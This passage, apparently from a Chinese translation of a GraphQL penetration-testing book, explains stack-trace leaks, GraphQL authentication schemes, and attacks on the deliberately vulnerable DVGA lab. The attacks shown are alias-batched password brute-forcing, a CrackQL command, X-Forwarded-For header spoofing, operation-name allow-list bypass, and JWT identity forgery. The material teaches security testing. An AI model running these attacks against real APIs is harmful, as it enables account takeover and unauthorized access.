`--snip--`
          ],
          "debug": "Traceback (most recent call last):\n  File **\"/Users/dvga-user/**
 **Desktop/Damn-Vulnerable-GraphQL-Application/venv/lib/python3.x/**
 **site-packages/flask_sockets.py**\", line 40, in __call__\n ...
          "path": \"**/Users/dvga-user/Desktop/Damn-Vulnerable-GraphQL-Application**
 **/core/view_override.py**"
        }
      }
    }
  ]
}

堆栈追踪返回了大量信息,我们可以利用这些信息揭示漏洞,如依赖项、软件版本、软件框架以及源代码片段。这个堆栈追踪还提供了诸如用户账户、文件系统和操作系统细节等信息。

在 DVGA 中,堆栈追踪仅在/graphiql端点启用,该端点由 GraphiQL Explorer 用于发送查询。这是为了向你展示,GraphQL 端点可能有不同的配置,所以如果有多个端点,你需要测试每一个。

使用基于 GET 的查询泄露数据

正如我们在第一章中提到的,一些 GraphQL 实现允许客户端使用 GET 方法执行查询,而其他的只允许 POST 请求。特别是突变操作应仅使用 POST 方法发送。然而,一些实现,如基于 Scala 的 Sangria,可能也允许对突变操作使用 GET 请求。

由于 GET 请求将数据作为查询参数传输在 URL 中,因此它们有泄露敏感信息的风险。例如,以下 URL 向 DVGA 发送 GET 请求。我们将电话号码作为variables GET 参数传递:

http://localhost:5013/graphql?query=query($phone: String)
{ paste(title: $phone) { id title } }&variables={"phone":"555-555-1337"}

同样的查询也可以通过以下方式发送,通过省略variables参数并直接将电话号码插入到查询中:

http://localhost:5013/graphql?query=query{ paste(title: "555-555-1337") { id title } }

在实际应用中,电话号码被视为个人身份信息(PII)。这些 URL 会出现在 GraphQL 服务器的 web 服务器访问日志中(如 Apache 或 Nginx)。它们包含的任何敏感信息可能会在不同位置记录,比如引荐头和请求客户端与服务器之间的任何正向或反向代理。

尽管这个条件并不会直接给我们提供我们尚未掌握的信息,但在渗透测试中向客户强调此类情况是非常重要的,作为需要警惕的事项。

总结

在本章中,我们探讨了如何通过使用各种工具和技术从目标中提取有价值的信息。当自省功能开启时,你可以使用 InQL 自动从 GraphQL 目标中提取架构。当自省功能禁用时,你可以利用 GraphQL 的一个内置特性,称为字段建议,并通过使用名为 Clairvoyance 的工具“填充”字段。

你学会了如何通过使用未被禁用的自省元字段查询来识别并绕过无效的禁用自省尝试。你还学会了如何通过使用详细的 GraphQL 错误和调试信息来揭示系统细节。

通过所有这些 GraphQL 信息泄露工具和技术,你应该对提取应用程序秘密、用户详情、个人身份信息(PII)和系统信息充满信心,这些信息将推动你未来的 GraphQL 攻击。

第七章:身份验证和授权绕过

默认情况下,GraphQL 没有身份验证或授权控制。因此,生态系统创建了自己的机制,或采纳了传统系统中的机制。在本章中,我们将介绍常见的 GraphQL 身份验证和授权实现。然后,我们将讨论针对它们的一些弱点的攻击。

身份验证是客户端向服务器证明其身份的机制。它回答了这样一个问题:用户是否真的是他们所说的人?身份验证攻击瞄准客户端的身份,试图窃取凭证或伪造凭证来与服务器进行身份验证,代表用户执行某些操作,或窃取他们可以访问的数据。

授权控制负责授予数据访问权限,并确保实体(无论是人类还是机器)所执行的操作与其分配的角色、组和权限匹配。授权攻击试图绕过安全控制,或者在其漏洞中开辟缺口,使攻击者能够执行本不可能的操作。例如,他们可能会获得未经授权的系统数据访问权限,或执行特权操作,如设置其他用户的密码。

身份验证和授权控制的实现可能会很具挑战性。特别是在应用程序从零开始创建自己的机制,而不是使用许多经过严格测试的框架时,这一点尤为明显。对这些控制进行安全测试也是一项复杂的任务;安全工具(如 API 应用程序扫描器)在识别授权和身份验证问题时常常力不从心。其主要原因之一是扫描器对应用程序的业务逻辑缺乏上下文理解。

多年来,黑客通过利用弱密码、默认凭证、伪造的令牌、缺陷的帐户恢复过程、重放攻击和不完善的速率限制控制来突破身份验证和授权防御。这些弱点不仅在 GraphQL 实现中可以被利用,而且在许多情况下,GraphQL 强大的客户端功能实际上帮助黑客优化了他们的攻击,正如你很快将了解的那样。

GraphQL 中的身份验证和授权现状

GraphQL 规范在身份验证和授权方面没有为实现者提供明确的指引。缺乏详细的标准导致开发者从各种库、工具和配置中选择并部署自己的 GraphQL 身份验证和授权控制,这常常导致漏洞和实现差距。

在本节中,我们将深入探讨面向生态系统的身份验证和授权服务、库以及可用于 GraphQL 的插件。总体来说,这些方法遵循两种不同的架构部署模型:带内(in-band)和带外(out-of-band)。

带内 vs. 带外

内联认证和授权架构中,开发者直接在 GraphQL API 中实现客户端登录、注册、基于角色的访问控制和其他权限控制。提供客户端应用数据的同一 GraphQL 实例还控制着认证客户端的逻辑,并授予其查看数据的权限。内联 GraphQL 架构通常托管查询或变更操作,允许客户端将凭证发送到 API。API 负责验证这些凭证,然后向客户端发放令牌。

外联认证和授权架构将访问控制和权限逻辑实现于单独的内部 Web 应用服务或外部系统中。在这种架构中,GraphQL API 不负责管理客户端登录、注册,甚至是访问控制。相反,它将授权决策交给另一个组件,如 API 网关、容器旁车或网络上的其他服务器。这使得开发者可以将授权逻辑与 GraphQL 应用程序解耦。

在这两种架构风格中,内联架构通常更容易受到认证和授权攻击。它们增加的复杂性大幅提高了 API 的攻击面。这些 API 经常为服务的每个入口点复制权限逻辑,正如你将在本章后面看到的那样,作为黑客,我们可以利用即便是最细微的不对齐控制。

因此,一些 GraphQL 生态系统的贡献者主张将认证和授权逻辑保持在 GraphQL 之外。目前的行业最佳实践是将授权逻辑委托给应用程序的业务逻辑层,该层作为所有业务领域规则的单一真实来源。它应该位于 GraphQL 层与持久层(也称为数据库数据存储层)之间,如图 7-1 所示。

图 7-1:网关、API、业务和持久层

相比之下,整个 GraphQL API 的认证应发生在外部或第三方网关层,该层将已认证的用户上下文传递给 API。

常见方法

在你进行 GraphQL 黑客实验时,无法预知会遇到哪些类型的控制。然而,本节列出了一些我们在研究和测试中见过的常见方法。通过了解这些技术,你将更有能力发现它们,并评估它们可能受到的漏洞。

HTTP 基本认证

最基本的 GraphQL 认证方法之一是HTTP 基本认证。在 RFC 7617 中定义的此方案涉及将一个 Base64 编码的用户名和密码包含在客户端请求的头部。头部如下所示:

Authorization: Basic `<base64_encoded_credential>`

Base64 编码的用户名和密码通过冒号连接成一个单一凭证。

基本认证是一种简单的技术,不需要使用 cookies、会话标识符或登录页面。为了检测基本认证,我们可以使用浏览器。图 7-2 是一个示例,展示了浏览器自动弹出窗口,用于收集和编码基本认证的凭证。

图 7-2:基本认证的浏览器弹出示例

这种方法的一个缺点是在通过 HTTP 向 GraphQL 服务器传输凭证时缺乏保密性保护。想象一下如下的基本认证头:

Authorization: Basic YWRtaW46YmxhY2toYXRncmFwaHFsCg==

由于凭证使用 Base64 编码,并且每次请求都会发送(相比之下,其他系统可能在登录时生成临时会话令牌),因此盗取这些凭证的攻击窗口较大。通过使用 TLS 可以缓解在未加密通道上传输凭证的风险。然而,如果凭证被窃取,攻击者可以相对容易地将其 Base64 解码。要测试这一点,请打开终端并运行以下命令:

# echo "YWRtaW46YmxhY2toYXRncmFwaHFsCg==" | base64 -d
admin:blackhatgraphql

基本认证的另一个缺点是缺乏任何支持的登出功能,无法使凭证失效。窃取基本认证凭证的攻击者可以永久访问 API,直到管理员更改凭证。基本认证很少在生产级应用中使用。你更有可能在测试或暂存环境中遇到这种机制,作为一种快速且简便的保护应用方法,但一切皆有可能!

OAuth 2.0 和 JSON Web Token

开放授权(OAuth) 是一种授权框架,允许第三方临时访问 HTTP 服务,例如 GraphQL API。这种访问是通过用户与 API 之间的授权过程,或者通过允许第三方应用代表用户获取访问权限来实现的。

如果你曾经点击类似 使用 Google 登录 的按钮登录到网站,你可能已经遇到过 OAuth。在本节中,我们仅触及 OAuth 2.0 的表面,但如果你有兴趣了解更多信息,可以参考 datatracker.ietf.org/doc/html/rfc6749

想象一下,你正在对一个具有登录机制的应用程序进行渗透测试,例如一个电子商务应用程序,以防止未经授权的访问。OAuth 协议允许电子商务应用程序(在 OAuth 术语中为客户端)向资源拥有者(你,渗透测试人员,必须登录的人)请求授权。当授权请求被授予(也称为授权许可)时,电子商务应用程序将获得一个访问令牌,可以用来访问资源服务器上的某些资源。这个资源服务器可以是一个 GraphQL 服务器。它将检查访问令牌,如果它有效,则通过允许客户端执行查询到某个资源(也称为受保护资源)来提供服务。

利用 OAuth 2.0 框架的应用程序可以使用JSON Web 令牌(JWT)作为其令牌格式。JWT 是一种开放标准(在 RFC 7519 中定义),允许通过 JSON 对象在系统之间安全传输信息。服务器可以通过数字签名和加密验证 JWT 令牌。JWT 令牌包含三个不同的部分,这些部分经过 Base64 编码,并由句点(.)分隔,如示例 7-1 所示。这三部分分别是头部、负载和签名。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9**.**eyJ0eXBlIjoiYWNjZXNzIiwiaWF0Ijo
xNjU2NDY0MDIyLCJuYmYiOjE2NTY0NjQwMjIsImp0aSI6ImY0OThmZmQxLWU0YzctNGU
5Mi05ZTRhLWJiNzRiZmVjZTE4ZiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE
2NTY0NzEyMjJ9**.**NHs6JiLDONJsC9LpJzdBB8enXzIrqI0Cvqojj8SqA4s

示例 7-1:一个示例 JWT 令牌

头部,即 JWT 令牌的第一部分,定义了两个重要细节:令牌类型和签名算法。当我们对这个头部进行 Base64 解码时,我们应该能够看到它的内容:

# echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d

{
  "typ": "JWT",
  "alg": "HS256"
}

typ键是一个头部参数,声明 JWT 令牌的结构媒体类型信息。在这种情况下,媒体类型是JWT。可能的媒体类型完整列表可以在www.iana.org/assignments/media-types/media-types.xhtml找到。这个头部参数被认为是可选的,但可以设置,以便读取头部的应用程序知道对象类型的结构。

alg键定义 JWT 令牌的签名算法,用于确保令牌的完整性。这个键可以表示不同的签名算法,如下所示:

  • 无数字签名(none

  • HMAC 与 SHA-256(HS256

  • HMAC 与 SHA-384(HS384

  • RSA 与 SHA-256(RS256

  • RSA 与 SHA-384(RS384

基于哈希的消息认证码(HMAC)是一种对称加密认证技术(意味着它使用共享的秘密),而Rivest-Shamir-Adleman(RSA)则是非对称加密(使用公钥和私钥对)。签名算法的完整列表可以在 RFC 7518 中找到。

针对使用 JWT 的应用程序的常见攻击之一是将alg头参数设置为none。如果应用程序接受未签名的 JWT 令牌,黑客可以篡改 JWT 令牌,以冒充另一个用户或执行敏感操作。

载荷 部分,或者说是 JWT 的第二部分,包含了关于用户的相关信息,以及开发者可能觉得有用的任何额外数据。在我们的示例中,解码后的载荷应匹配以下输出:

# echo "eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU2NDY0MDIyLCJuYmYiOjE2NTY0NjQwMjIs
**Imp0aSI6ImY0OThmZmQxLWU0YzctNGU5Mi05ZTRhLWJiNzRiZmVjZTE4ZiIsImlkZW50aXR5Ijoi**
**b3BlcmF0b3IiLCJleHAiOjE2NTY0NzEyMjJ9" | base64 -d**
{
  "type": "access",
  "iat": 1656464022,
  "nbf": 1656464022,
  "jti": "f498ffd1-e4c7-4e92-9e4a-bb74bfece18f",
  "identity": "operator",
  "exp": 1656471222
}

大多数 JWT 载荷都会包含一些标准元素,称为 声明,包括一个 iat 字段,它表示 JWT 被创建的时间戳,以及 exp 字段,它表示过期时间戳,格式为 Unix 时间戳。你可以通过阅读 RFC 7519 文档了解更多关于 JWT 字段的信息。

JWT 的最后一部分是 签名,它确保整个 JWT 没有被篡改。对 JWT 进行任何手动更改都会使签名失效,从而导致 GraphQL 服务器拒绝该令牌。正如你将很快学到的,GraphQL 服务器签名验证中的漏洞可能允许攻击者伪造 JWT 令牌。在第 178 页的“伪造和泄露 JWT 凭证”一节中,我们将探讨一些常见的 JWT 实现漏洞及如何利用它们。

GraphQL Modules

在测试基于 JavaScript 的 GraphQL 实现时,你可能会遇到一个名为 GraphQL Modules 的实用库,它由 The Guild(www.the-guild.dev)构建。这个库将 GraphQL 架构分解为更小的、可重用的模块,作为中间件使用。开发者可以使用这些模块来包装他们的解析器。列表 7-2 是身份验证模块,它为 GraphQL 客户端提供了标准的登录、注册和用户查询变更操作。

extend type Query {
  me: User
}

type Mutation {
   login(username: String!, password: String!): User
   signup(username: String!, password: String!): User
}

extend type User {
  username: String!
} 

列表 7-2:来自 GraphQL Modules 库的身份验证模块

如你所见,模块定义了一个名为 me 的查询,该查询返回一个 User 对象,以及两个变更操作,分别为 loginsignup,它们接受 usernamepassword 参数并返回一个 User 对象。

开发者也可以在他们的 GraphQL API 中实现自定义的 login 查询和 signup 变更操作,而无需使用外部库。在第 171 页的“身份验证测试”一节中,我们将教你如何通过使用第五章介绍的批量查询和第二章安装的 CrackQL 来破解这里提到的内联身份验证操作。

GraphQL Shield

GraphQL Shield 是由 The Guild 构建的另一个中间件库,用于在 GraphQL API 中生成授权层。它允许开发者定义规则,允许或拒绝客户端访问。列表 7-3 显示了由 GraphQL Shield 保护的查询和变更操作,定义了访问每个查询所需的权限和角色。

const permissions = shield({
  Query: {
    frontPage: not(isAuthenticated),
    fruits: and(isAuthenticated, or(isAdmin, isEditor)),
    customers: and(isAuthenticated, isAdmin),
  },
  Mutation: {
    addFruitToBasket: isAuthenticated,
  },
  Fruit: isAuthenticated,
  Customer: isAdmin,
})

列表 7-3:一个 GraphQL Shield 代码示例

希望使用 frontPage 查询的客户端不需要进行身份验证,正如规则 not(isAuthenticated) 所定义的那样;而要使用 customers 查询,他们必须同时满足已认证和具有管理员用户的条件,正如 and(isAuthenticated, isAdmin) 所示。and 运算符要求两个条件都为真,才能授予访问权限。

一个开发者社区积极维护着 GraphQL Shield,并不断改进它。截止本文写作时,GraphQL Shield 中最后一个文档化的漏洞是一个授权绕过漏洞,发生在 2020 年,并出现在早于 6.0.6 的版本中。

在进行代码审查时,查找名为fallbackRule的 GraphQL Shield 组件。此规则可以在未定义规则时决定请求是否默认允许或拒绝。默认情况下,fallbackRule 设置为allow。要了解更多关于 GraphQL Shield 规则的信息,请参阅官方文档 www.graphql-shield.com/docs/rules#logic-rules

架构指令

GraphQL 部署可能会使用自定义的架构级指令来对某些操作和字段应用身份验证和授权控制。通过修饰架构组件,这些自定义指令可以控制客户端在 API 中可以做什么以及不能做什么。我们可以通过它们在查询级、类型级、字段级等地方执行安全控制。

graphql-directive-auth 库 (github.com/graphql-community/graphql-directive-auth) 提供了一个示例,展示了开发者如何使用指令来解决其 API 中的身份验证和授权问题。在某些实现中,@auth 指令接受一个 requires 参数,该参数采用一个字符串值,表示用户查询字段所需的角色或组。客户端通常通过 JWT 负载发送这些用户组或角色。指令逻辑会分析这些信息,从而决定是否允许或拒绝访问架构中的受保护元素。

授权指令可能具有各种其他名称或参数。表 7-1 是一个常见的指令列表,你可能会在内省时遇到这些指令。

表 7-1:常见的 GraphQL 授权指令

指令名称 参数名称 参数类型
@auth requires String
@protect role String
@hasRole role String

一些 @auth 指令可能还使用一个名为 permissions 的参数,该参数接受一个范围授权列表。

基于 IP 的允许列表

一些 GraphQL API,特别是那些部署在内部系统中并非公开的系统,可能选择不对单个客户端请求进行身份验证。相反,它们可能选择使用一个来源 IP 地址的允许列表来授权客户端。在这种技术中,服务器通过将网络请求中包含的客户端 IP 地址与地址或网络范围列表(如 10.0.0.0/24)进行比对来检查客户端 IP 地址。

这个 IP 地址通常通过公共网络设备传递给 API,比如反向代理或负载均衡器。然后,应用程序将尝试通过查找传入请求中的 HTTP 头来发现 IP 地址。一些常见的用于此目的的 HTTP 头包括 X-Forwarded-ForX-Real-IPX-Originating-IPX-Host

由于客户端可以伪造这些头信息,反向代理可能会将错误信息盲目转发给应用程序。例如,以下是如何使用 cURL 向 DVGA 传递自定义 X-Forwarded-For 头信息的示例:

# curl -X POST http://localhost:5013/graphql -d '{"query":"{ __typename }"}'
**-H "Content-Type: application/json" -H "X-Forwarded-For: 10.0.0.1"**

如果应用程序只允许来自网络 10.0.0.0/24 的请求访问 GraphQL API,那么在后续阶段注入此类头信息可能会让攻击者绕过基于 IP 的允许列表,并与应用程序进行通信。

认证测试

在测试 GraphQL 认证时,你会遇到一些没有经过任何认证层保护的操作。例如,未认证的用户可能可以访问查询,而只有认证用户才能执行更敏感的、更改状态的操作(例如 mutations)。你可能会在博客中看到这种模型:任何客户端都可以读取文章,而只有认证用户可以发表评论。

对目标 GraphQL 服务器和模式进行彻底扫描以查找任何未保护的查询非常重要。本节将概述如何检测和击败某些 GraphQL 认证控制。

检测认证层

确定目标 GraphQL 应用程序是否受到认证层保护的最佳方法之一是通过发送金丝雀查询。可以使用第六章中的任意 introspection 查询,或者自己编写查询来探测模式中的一系列操作、对象和类型。根据你收到的响应,你可能能够检测到使用的认证类型,以及认证控制实施的层级。特别要注意状态码、错误信息以及对查询变体的响应差异。

HTTP 状态码

验证 GraphQL 目标是否存在某种认证层的可靠方法是分析你在发送金丝雀查询后收到的 HTTP 响应。大多数 GraphQL 实现即使查询包含拼写错误或其他错误,也会始终返回 200 OK 状态码。然而,如果你收到 403 Forbidden Error,这可能意味着类似网关或 WAF 的带外认证和授权控制已阻止你的请求进入 API。

错误信息

错误信息显然可以揭示认证控制的存在,但它们也可能告诉我们 API 需要哪种类型的认证,以及这些检查在架构中的位置。表 7-2 显示了常见的带内 GraphQL 认证错误信息列表以及默认情况下可能引发这些错误信息的认证实现。

表 7-2:常见的 GraphQL 认证错误

错误信息 可能的认证实现
认证凭据缺失。需要授权头并且必须包含一个值。 使用 JSON Web Token 的 OAuth 2.0 Bearer
未授权! GraphQL Shield

| 未登录 需要认证 |

需要 API 密钥 | GraphQL 模块 |

无效令牌! 无效角色! graphql-directive-auth

错误消息可以自定义,可能与此处显示的消息不同。请参考第六章,了解如何滥用错误以从 GraphQL 中提取有价值信息的附加信息。例如,200 OK状态码与错误消息的组合可能表示需要进行身份验证。由于这些详细信息可能因 GraphQL API 而异,我们建议检查所有途径。

与身份验证相关的字段

另一个检测身份验证层的好方法是使用内省查询来识别任何与身份验证相关的查询或变异操作。根据设计,在带内 GraphQL 身份验证中需要身份验证、会话管理和基于身份的操作。例如,客户端很可能需要发送未经身份验证的变异请求,执行登录和注册操作来创建和访问他们的经过身份验证的帐户。我们可以使用 Listing 7-4 中的内省查询来分析模式,以查找与身份验证相关的任何变异操作。

{
  __schema {
    mutationType {
      name
      kind
      fields {
        name
        description
      }
    }
  }
}

列表 7-4:用于识别所有变异的内省查询

检查查询是否返回类似于以下名称的变异名称:

  1. me

  2. login

  3. logout

  4. signup

  5. register

  6. createUser

  7. createAccount

如果是这样,您可以推断 API 具有身份验证层,这意味着您可以开始测试其抵御密码暴力攻击的韧性。

利用查询批处理进行密码暴力破解

一种经典的身份验证攻击,密码暴力破解针对未能实施速率限制或其他自动化账户接管预防控制系统。攻击者发送许多登录请求到系统,试图正确猜测密码来执行此操作。这种程序化攻击通常接受可能的用户凭据字典或迭代字符序列以生成可能的凭据组合。

安全控制,例如 WAF(Web 应用程序防火墙),非常适合防止单个客户端发出过多的 HTTP 请求,通常在检测到此类活动时会进行节流或禁止客户端。然而,在第五章中,我们介绍了查询批处理,这实质上允许客户端在单个 HTTP 请求中打包多个查询操作。我们可以利用这种批处理功能来通过一次 HTTP 请求中的多个操作来暴力破解凭据,有效地规避诸如 WAF 之类的安全控制。

有两种批处理操作类型:基于数组和基于别名。像 BatchQL 这样的工具利用基于数组的查询批处理将多个操作发送到单个请求中。然而,如果您回到第三章中图 3-4 展示的 GraphQL 威胁矩阵截图,您会注意到很少有 GraphQL 实现支持这种类型的批处理。相比之下,所有主要的 GraphQL 实现支持基于别名的查询批处理,因为它在 GraphQL 规范中有定义。

让我们使用别名对 DVGA 的 GraphQL 认证层执行密码暴力破解攻击。首先,我们需要在一个 GraphQL 文档中包含多个不同凭证的登录操作。列表 7-5 显示了一个 GraphQL 文档,包含了 10 个登录突变别名,针对 DVGA 中的adminoperator用户账户。你还可以在本书的 GitHub 仓库中找到该查询,网址为 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch07/password-brute-force.graphql

每个别名操作都有一个唯一的标识符,以及一个目标用户名和一个潜在密码。如果其中一个操作成功,服务器应该在响应中返回被攻击用户的 JWT 访问令牌(accessToken)。

mutation {
    alias1: login(username: "admin", password: "admin") {
      accessToken
    }
    alias2: login(username: "admin", password: "password") {
      accessToken
    }
    alias3: login(username: "admin", password: "pass") {
      accessToken
    }
    alias4: login(username: "admin", password: "pass123") {
      accessToken
    }
    alias5: login(username: "admin", password: "password123") {
      accessToken
    }
    alias6: login(username: "operator", password: "operator") {
      accessToken
    }
    alias7: login(username: "operator", password: "password") {
      accessToken
    }
    alias8: login(username: "operator", password: "pass") {
      accessToken
    }
 alias9: login(username: "operator", password: "pass123"){
      accessToken
    }
    alias10: login(username: "operator", password: "password123"){
      accessToken
    }
}

列表 7-5:使用批量查询进行密码暴力破解的示例

对 DVGA 执行这个密码暴力破解查询将产生如下的大量响应。如你所见,大部分数据由身份验证失败错误组成。然而,对于alias10,我们收到了有效的accessToken,这意味着我们成功破解了operator的密码,该密码为password123

{
  "errors": [
    {
      "message": "Authentication Failure",
      "locations": [
        {
          "line": 2,
          "column": 5
        }
      ],
      "path": [
        "alias1"
      ]
    },
`--snip--`
    {
      "message": "Authentication Failure",
      "locations": [
        {
          "line": 26,
          "column": 5
        }
      ],
      "path": [
        "alias9"
      ]
    }
  ],
  "data": {
    "alias1": null,
`--snip--`
    "alias9": null,
    "alias10": {
      "accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzI
iwiaWF0IjoxNjU2OTcxMDc5LCJuYmYiOjE2NTY5NzEwNzksImp0aSI6IjQ3NmEwYTYxLTk0OGUtNDZmO
S05ZDBmLTFlMzk3MDAxMTNjYiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE2NTY5NzgyNzl9.NJ
ZOugXBwG-0oEcT2UtH-xeBFwqxS0_5Ag1Y7-L3EgI"
    }

即使有安全控制通过禁止客户端每分钟发出超过五次 HTTP 登录请求来保护 API,这种攻击也能绕过这种逻辑,因为我们在执行 10 次登录尝试时只发送了一个 HTTP 请求。

使用 CrackQL 进行密码暴力破解

手动构建成功进行密码暴力破解所需的大型 GraphQL 文档将非常耗时。在第二章中,你安装了一个名为CrackQL的 GraphQL 密码暴力破解和模糊测试工具。该工具接受一个单一的 GraphQL 查询或突变操作,并使用 CSV 字典自动生成别名有效载荷。让我们运行相同的密码暴力破解攻击,不过这次使用 CrackQL 来自动化它。

进入 CrackQL 目录,然后执行对 DVGA 的暴力破解攻击。-t(目标)参数指定目标 GraphQL 端点 URL,-q(查询)参数接受一个示例查询(login.graphql),-i(输入)参数定义了攻击中使用的用户名和密码列表。--verbose 参数允许我们查看额外的信息,如发送给 DVGA 的最终有效载荷。

# cd ~/CrackQL
# python3 CrackQL.py -t http://localhost:5013/graphql -q sample-queries/login.graphql
**-i sample-inputs/usernames_and_passwords.csv --verbose**

CrackQL 预安装了一个示例的用户名和密码 CSV 字典,以及login.graphql查询,如列表 7-6 所示。正如你所看到的,它包含一个包含两个嵌入变量(usernamepassword)的单一登录突变。CrackQL 使用 Jinja 模板语法,因此变量通过双大括号({{}})传递。

mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
   }
}

列表 7-6:CrackQL 登录暴力破解查询示例

当你执行 CrackQL 命令时,该工具会自动从 CSV 文件中获取每个用户名和密码变量,并将它们注入到同一查询文档中的重复登录操作中。CrackQL 的详细输出提供了有效载荷详情以及输出结果:

Data:
[{'alias1': {'data': None,
             'inputs': {'password': 'admin', 'username': 'admin'}}},
*--snip--*

 {'alias9': {'data': None,
             'inputs': {'password': 'operator', 'username': 'pass123'}}},
 {'**alias10**': {'data': {'**accessToken**': '**eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU3MDQ2NjI5LCJuYmYiOjE2N**
**TcwNDY2MjksImp0aSI6IjVkMzhkM2Y5LWNjNTUtNDcyYy1iNzRhLThiN2FlMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0**
**b3IiLCJleHAiOjE2NTcwNTM4Mjl9.Ba3zfvSZqjDmyLFdx71WCs-7vidaxpUfs2X3UK3zZBA'**},
              'inputs': {'password': 'password123', 'username': 'operator'}}}]
Errors:
[{'alias1': {'error': 'Authentication Failure',
             'inputs': {'password': 'admin', 'username': 'admin'}}},
 {'alias2': {'error': 'Authentication Failure',
             'inputs': {'password': 'admin', 'username': 'password'}}},
*--snip--*

 {'alias9': {'error': 'Authentication Failure',
             'inputs': {'password': 'password123', 'username': 'operator'}}}]
[*] Writing to directory results/localhost:5013_5bab6e

在 GraphQL 查询成本控制阻止执行大批量查询的情况下,CrackQL 提供了一个可选的 -b(批处理)参数,允许你定义一个更有限的别名操作集,从而让攻击更难被发现。

你还可以使用 CrackQL 执行多种其他攻击。通过使用一次性密码令牌的列表,CrackQL 可以暴力破解双因素认证。它还可以执行账户枚举攻击,通过自动扫描有效的电子邮件或用户名,或通过模糊测试唯一的对象标识符来利用不安全的直接对象引用(IDOR)漏洞,在这种漏洞中,通过直接引用对象标识符,我们能够在未授权的情况下访问该对象。

在对认证查询进行攻击时,你可能需要传递身份验证头部信息,可能还需要 cookie。CrackQL 允许你通过 config.py 文件来做到这一点,该文件接受 COOKIESHEADERS 变量。以下是如何为工具提供自定义头部和 cookie 的示例:

# cat config.py

HEADERS = {"Authorization": "Bearer mytoken"}
COOKIES = {"session:"session-secret"}

在进行渗透测试时,可以通过使用类似 Firefox 开发者工具的网络标签页来检查网络流量,获取这些头部信息。查看你在初次登录到网站后发送的任何 GraphQL 请求。此时,你应该看到独特的身份验证头部或会话 cookie。

使用允许列表的操作名称

某些内嵌式 GraphQL 实现可能会使一些查询和突变对未认证客户端公开可用,例如登录或账户注册的查询。这些部署中的一些使用基于操作名称的允许列表,这是一种较弱的执行控制,除非操作名称在允许列表中,否则会拒绝所有未认证的请求。然而,操作名称可以由客户端定义,因此攻击者可以通过简单地伪造操作名称来绕过这些身份验证机制。

以下是一个未认证的突变示例。如你所见,它将允许用户注册一个新账户:

mutation RegisterAccount {
    register(username: "operator", password: "password"){
        user_id
    }
}

实现可以选择通过使用其操作名称 RegisterAccount 来将此 register 操作加入允许列表。作为攻击者,我们可以利用这一点,通过发送类似清单 7-7 中的请求来绕过验证。

mutation RegisterAccount {
    withdrawal(amount: 100.00, from: "ACT001", dest: "ACT002"){
        confirmationCode
    }
}

清单 7-7:一个可以通过使用允许列表操作名称绕过身份验证的示例操作

我们使用了允许的操作名称通过一个提款突变来提取资金。

伪造和泄露 JWT 凭证

虽然 JWT 令牌可以使用 JSON Web Encryption(RFC 7516)进行加密,但通常并不会。而当它们不加密时,可能会泄漏敏感数据。例如,看一下以下载荷部分:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.**eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNj**
**U3MDQ2NjI5LCJuYmYiOjE2NTcwNDY2MjksImp0aSI6IjVkMzhkM2Y5LWNjNTUtNDcyYy1iN**
**zRhLThiN2FlMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE2NTcwNTM4**
**MjksImFwaV90b2tlbiI6IkFQSV9TRUNSRVRfUEFTU1dPUkQifQ**.iIQ9zMRP2bA0Yx8p7INu
rfC-PcVz3-KqfzEE4uQICbc

当我们对载荷进行 Base64 解码时,我们会发现在载荷部分中有一个硬编码的凭据,api_token

{
  "type": "access",
  "iat": 1657046629,
  "nbf": 1657046629,
  "jti": "5d38d3f9-cc55-472c-b74a-8b7ae3124ae2",
  "identity": "operator",
  "exp": 1657053829,
  **"api_token":"API_SECRET_PASSWORD"**
}

我们可以通过解码和测试 JWT 令牌的内容来深入了解应用程序。

另一种绕过弱 JWT 认证控制的方法是伪造自己的 JWT 令牌。如果 GraphQL API 未能正确验证 JWT 令牌的签名,它将容易受到基于伪造的攻击,攻击者可以编码他们自己的用户详细信息。

让我们通过伪造管理员的 JWT 令牌对 DVGA 进行 JWT 伪造攻击。首先,复制我们在“通过查询批处理暴力破解密码”中成功暴力破解操作员密码时收到的accessToken JWT。我们可以通过将其作为me查询操作中的token参数发送来验证accessToken是否有效:

query {
  me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0Ij
oxNjU3MDQ2NjI5LCJuYmYiOjE2NTcwNDY2MjksImp0aSI6IjVkMzhkM2Y5LWNjNTUtNDcyYy1iNzRhLT
hiN2FlMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE2NTcwNTM4Mjl9.Ba3zfvSZq
jDmyLFdx71WCs-7vidaxpUfs2X3UK3zZBA"){
    id
    username
    password
  }
}

DVGA 将根据 JWT 中的身份声明对用户进行身份验证,并使用me查询操作返回经过身份验证的用户对象字段:

{
  "data": {
    "me": {
      "id": "2",
      "username": "operator",
      "password": "******"
    }
  }
}

接下来,让我们将 JWT 字符串粘贴到 jwt.io,如图 7-3 所示。该网站将自动解码并以更易读的形式呈现三个 JWT 段。

在右侧面板中,我们可以直接修改解码后的载荷 JSON 数据,将"identity": "operator"行更改为"identity": "admin"。您会注意到 jwt.io 将自动在左侧面板中编码载荷更改。

图 7-3:使用 jwt.io 解码后的 DVGA 运算符的accessToken

现在尝试使用伪造的 JWT 令牌进行me操作。只需复制 JWT 并粘贴到查询的token参数中。由于 DVGA 未验证 JWT 签名,它将使用我们伪造的 JWT 令牌对我们的请求进行身份验证并返回管理员用户的密码:

{
  "data": {
    "me": {
      "id": "1",
      "username": "admin",
      "password": "changeme"
    }
  }
}

